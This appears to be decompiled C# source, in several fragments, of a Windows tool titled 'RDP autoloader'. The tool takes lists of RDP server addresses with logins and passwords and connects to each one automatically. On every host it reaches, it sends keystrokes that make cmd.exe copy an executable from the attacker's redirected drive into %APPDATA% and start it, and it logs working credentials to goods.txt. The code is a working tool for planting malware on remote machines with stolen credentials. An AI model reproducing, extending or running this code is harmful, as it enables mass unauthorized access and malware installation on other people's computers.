protected override void Dispose(bool disposing) { if (disposing) { this.connectionStateDetector.Dispose(); this.client.Dispose(); this.client = null; } base.Dispose(disposing); }
internal static string ToDisconnectMessage(AxMsRdpClient6NotSafeForScripting client, int reason) { switch (reason) { case 1: case 2: case 3: // These are normal disconnects and not considered errors. return(String.Empty); default: return(client.GetErrorDescription((uint)reason, (uint)client.ExtendedDisconnectReason)); } }
private bool InitializeClientControl() { try { this.client = new AxMsRdpClient6NotSafeForScripting(); } catch (Exception exception) { string message = "Please update your RDP client to at least version 6."; Logging.Info(message, exception); MessageBox.Show(message); return(false); } return(true); }
public AxMsRdpClient6NotSafeForScriptingEventMulticaster(AxMsRdpClient6NotSafeForScripting parent) { this.parent = parent; }
private void InitializeComponent() { ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(Form1)); this.t1 = new TextBox(); this.groupBox1 = new GroupBox(); this.go = new Button(); this.t2 = new TextBox(); this.rdp = new AxMsRdpClient6NotSafeForScripting(); this.groupBox1.SuspendLayout(); this.rdp.BeginInit(); this.SuspendLayout(); this.t1.Dock = DockStyle.Fill; this.t1.Location = new Point(3, 16); this.t1.Multiline = true; this.t1.Name = "t1"; this.t1.ScrollBars = ScrollBars.Both; this.t1.Size = new Size(213, 263); this.t1.TabIndex = 1; this.t1.Text = "123.123.123.123:54321@user;password"; this.t1.WordWrap = false; this.groupBox1.Controls.Add((Control)this.t1); this.groupBox1.Location = new Point(12, 12); this.groupBox1.Name = "groupBox1"; this.groupBox1.Size = new Size(219, 282); this.groupBox1.TabIndex = 2; this.groupBox1.TabStop = false; this.groupBox1.Text = "RDP servers (ip[:port]@login:pass)"; this.go.Location = new Point(124, 323); this.go.Name = "go"; this.go.Size = new Size(107, 23); this.go.TabIndex = 3; this.go.Text = "Start"; this.go.UseVisualStyleBackColor = true; this.go.Click += new EventHandler(this.go_Click); this.t2.Location = new Point(12, 297); this.t2.Name = "t2"; this.t2.Size = new Size(219, 20); this.t2.TabIndex = 4; this.t2.Text = "http://domain.com/file.exe"; this.rdp.Enabled = true; this.rdp.Location = new Point(237, 17); this.rdp.Name = "rdp"; this.rdp.OcxState = (AxHost.State)componentResourceManager.GetObject("rdp.OcxState"); this.rdp.Size = new Size(800, 600); this.rdp.TabIndex = 5; this.AutoScaleDimensions = new SizeF(6f, 13f); this.AutoScaleMode = AutoScaleMode.Font; this.ClientSize = new Size(1048, 627); this.Controls.Add((Control)this.rdp); this.Controls.Add((Control)this.t2); this.Controls.Add((Control)this.go); this.Controls.Add((Control)this.groupBox1); this.Icon = (Icon)componentResourceManager.GetObject("$this.Icon"); this.Name = "Form1"; this.Text = "RDP autoloader"; this.groupBox1.ResumeLayout(false); this.groupBox1.PerformLayout(); this.rdp.EndInit(); this.ResumeLayout(false); this.PerformLayout(); }
private void InitializeComponent() { ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(Form1)); this.t1 = new TextBox(); this.groupBox1 = new GroupBox(); this.go = new Button(); this.t2 = new TextBox(); this.openFileDialog = new OpenFileDialog(); this.browse = new Button(); this.rdp = new AxMsRdpClient6NotSafeForScripting(); this.rdp1 = new AxMsRdpClient6NotSafeForScripting(); this.rdp3 = new AxMsRdpClient6NotSafeForScripting(); this.rdp2 = new AxMsRdpClient6NotSafeForScripting(); this.groupBox1.SuspendLayout(); this.rdp.BeginInit(); this.rdp1.BeginInit(); this.rdp3.BeginInit(); this.rdp2.BeginInit(); this.SuspendLayout(); this.t1.Dock = DockStyle.Fill; this.t1.Location = new Point(3, 16); this.t1.Multiline = true; this.t1.Name = "t1"; this.t1.ScrollBars = ScrollBars.Both; this.t1.Size = new Size(213, 263); this.t1.TabIndex = 1; this.t1.Text = "123.123.123.123:54321@user;password"; this.t1.WordWrap = false; this.groupBox1.Controls.Add((Control)this.t1); this.groupBox1.Location = new Point(12, 12); this.groupBox1.Name = "groupBox1"; this.groupBox1.Size = new Size(219, 282); this.groupBox1.TabIndex = 2; this.groupBox1.TabStop = false; this.groupBox1.Text = "RDP servers (ip[:port]@login:pass)"; this.go.Location = new Point(124, 323); this.go.Name = "go"; this.go.Size = new Size(107, 23); this.go.TabIndex = 3; this.go.Text = "Start"; this.go.UseVisualStyleBackColor = true; this.go.Click += new EventHandler(this.go_Click); this.t2.Location = new Point(12, 297); this.t2.Name = "t2"; this.t2.ReadOnly = true; this.t2.Size = new Size(219, 20); this.t2.TabIndex = 4; this.openFileDialog.RestoreDirectory = true; this.browse.Location = new Point(12, 323); this.browse.Name = "browse"; this.browse.Size = new Size(107, 23); this.browse.TabIndex = 6; this.browse.Text = "Browse"; this.browse.UseVisualStyleBackColor = true; this.browse.Click += new EventHandler(this.browse_Click); this.rdp.Enabled = true; this.rdp.Location = new Point(247, 16); this.rdp.Name = "rdp"; this.rdp.OcxState = (AxHost.State)componentResourceManager.GetObject("rdp.OcxState"); this.rdp.Size = new Size(432, 330); this.rdp.TabIndex = 8; this.rdp1.Enabled = true; this.rdp1.Location = new Point(247, 352); this.rdp1.Name = "rdp1"; this.rdp1.OcxState = (AxHost.State)componentResourceManager.GetObject("rdp1.OcxState"); this.rdp1.Size = new Size(432, 330); this.rdp1.TabIndex = 9; this.rdp3.Enabled = true; this.rdp3.Location = new Point(685, 352); this.rdp3.Name = "rdp3"; this.rdp3.OcxState = (AxHost.State)componentResourceManager.GetObject("rdp3.OcxState"); this.rdp3.Size = new Size(432, 330); this.rdp3.TabIndex = 11; this.rdp2.Enabled = true; this.rdp2.Location = new Point(685, 16); this.rdp2.Name = "rdp2"; this.rdp2.OcxState = (AxHost.State)componentResourceManager.GetObject("rdp2.OcxState"); this.rdp2.Size = new Size(432, 330); this.rdp2.TabIndex = 10; this.AutoScaleDimensions = new SizeF(6f, 13f); this.AutoScaleMode = AutoScaleMode.Font; this.ClientSize = new Size(1131, 693); this.Controls.Add((Control)this.rdp3); this.Controls.Add((Control)this.rdp2); this.Controls.Add((Control)this.rdp1); this.Controls.Add((Control)this.rdp); this.Controls.Add((Control)this.browse); this.Controls.Add((Control)this.t2); this.Controls.Add((Control)this.go); this.Controls.Add((Control)this.groupBox1); this.Icon = (Icon)componentResourceManager.GetObject("$this.Icon"); this.Name = "Form1"; this.StartPosition = FormStartPosition.CenterScreen; this.Text = "RDP autoloader v1.5"; this.groupBox1.ResumeLayout(false); this.groupBox1.PerformLayout(); this.rdp.EndInit(); this.rdp1.EndInit(); this.rdp3.EndInit(); this.rdp2.EndInit(); this.ResumeLayout(false); this.PerformLayout(); }
private void WorkThreadProc(object thrparams) { AxMsRdpClient6NotSafeForScripting Rdp = ((ThrParams)thrparams).Rdp; string text = "cmd.exe /c copy /Y \"\\\\tsclient\\" + this.filepath.Replace(":", "") + "\" \"%APPDATA%\\" + this.filename + "\" && start \"\" \"%APPDATA%\\" + this.filename + "\""; string input = ""; while (input != null) { try { Monitor.Enter((object)this.dedics); if (this.dedics.Count > 0) { input = this.dedics.Dequeue(); this.t1.Invoke((Delegate)(() => this.t1.Lines = this.dedics.ToArray())); } else { input = (string)null; } Monitor.Exit((object)this.dedics); if (input != null) { Match match = new Regex("(?<ipport>[^\\@]+)\\@(?<logpass>.*)").Match(input); if (!match.Success) { throw new Exception("Не могу распарсить дедик"); } string ip = match.Groups["ipport"].Value; int port = 0; if (ip.Contains(";") || ip.Contains(":")) { port = int.Parse(ip.Split(new char[2] { ';', ':' })[1]); ip = ip.Split(new char[2] { ';', ':' })[0]; } string login = match.Groups["logpass"].Value.Split(new char[2] { ';', ':' })[0]; string pass = match.Groups["logpass"].Value.Split(new char[2] { ';', ':' })[1]; string str = "/?log=" + input; this.Invoke((Delegate)(() => { Rdp.Server = ip; if (port > 0) { Rdp.AdvancedSettings2.RDPPort = port; } Rdp.UserName = login; Rdp.AdvancedSettings7.ClearTextPassword = pass; Rdp.AdvancedSettings7.AuthenticationLevel = 0U; Rdp.AdvancedSettings7.EnableCredSspSupport = true; Rdp.AdvancedSettings2.overallConnectionTimeout = 30; Rdp.AdvancedSettings2.allowBackgroundInput = 1; Rdp.SecuredSettings2.KeyboardHookMode = 1; Rdp.ColorDepth = 16; Rdp.AdvancedSettings7.RedirectDrives = true; Rdp.Connect(); })); int num = 0; while ((int)Rdp.Connected != 1) { Thread.Sleep(1000); ++num; if (num > 30) { throw new Exception("Таймаут подключения"); } bool dialog = false; Monitor.Enter(this.csect); Form1.EnumWindows((Form1.EnumWindowsProc)((wnd, param) => { if (Form1.GetWindow(wnd, 4U) == this.formhwnd) { StringBuilder lpClassName = new StringBuilder(256); Form1.GetClassName(wnd, lpClassName, lpClassName.Capacity); if (string.Compare(lpClassName.ToString(), "#32770") == 0) { dialog = true; Thread.Sleep(500); Form1.PostMessage(wnd, 273U, 2U, 0U); Thread.Sleep(1000); return(false); } if (string.Compare(lpClassName.ToString(), "Credential Dialog Xaml Host", true) == 0) { dialog = true; Thread.Sleep(500); Form1.PostMessage(wnd, 2U, 0U, 0U); Form1.PostMessage(wnd, 16U, 0U, 0U); Thread.Sleep(1000); return(false); } } return(true); }), IntPtr.Zero); Monitor.Exit(this.csect); if (dialog) { throw new Exception("Ошибка подключения (диалоговое окно, ошибка авторизации и пр)"); } } Thread.Sleep(12000); Monitor.Enter(this.csectfile); System.IO.File.AppendAllText("goods.txt", input + "\r\n"); Monitor.Exit(this.csectfile); IntPtr hWindow = new IntPtr(); this.Invoke((Delegate)(() => hWindow = Rdp.Handle)); Thread.Sleep(200); hWindow = Form1.FindWindowEx(hWindow, IntPtr.Zero, Form1.curwinclasses[0], (string)null); hWindow = Form1.FindWindowEx(hWindow, IntPtr.Zero, Form1.curwinclasses[1], (string)null); hWindow = Form1.FindWindowEx(hWindow, IntPtr.Zero, Form1.curwinclasses[2], (string)null); KeyboardSend.KeyDown(hWindow, Keys.LWin, true); KeyboardSend.KeyDown(hWindow, Keys.R, false); Thread.Sleep(100); KeyboardSend.KeyUp(hWindow, Keys.LWin, true); KeyboardSend.KeyUp(hWindow, Keys.R, false); Thread.Sleep(1000); Monitor.Enter(this.csectbuf); Clipboard.SetText(text); Thread.Sleep(500); KeyboardSend.KeyDown(hWindow, Keys.ControlKey, true); KeyboardSend.KeyDown(hWindow, Keys.V, false); KeyboardSend.KeyUp(hWindow, Keys.ControlKey, true); KeyboardSend.KeyUp(hWindow, Keys.V, false); Thread.Sleep(1000); KeyboardSend.KeyDown(hWindow, Keys.Return, false); KeyboardSend.KeyUp(hWindow, Keys.Return, false); Monitor.Exit(this.csectbuf); Thread.Sleep(40000); KeyboardSend.KeyDown(hWindow, Keys.Left, true); KeyboardSend.KeyUp(hWindow, Keys.Left, true); Thread.Sleep(1000); KeyboardSend.KeyDown(hWindow, Keys.Return, false); KeyboardSend.KeyUp(hWindow, Keys.Return, true); Thread.Sleep(15000); } } catch (Exception ex) { Monitor.Enter(this.csectfile); System.IO.File.AppendAllText("bugs.txt", input + " - " + ex.Message + "\r\n"); Monitor.Exit(this.csectfile); } try { if ((int)Rdp.Connected > 0) { Rdp.Disconnect(); } while ((int)Rdp.Connected != 0) { Thread.Sleep(500); } Thread.Sleep(1000); } catch (Exception ex) { Monitor.Enter(this.csectfile); System.IO.File.AppendAllText("bugs.txt", ex.Message + "\r\n"); Monitor.Exit(this.csectfile); } } ((ThrParams)thrparams).Ts.Set(); }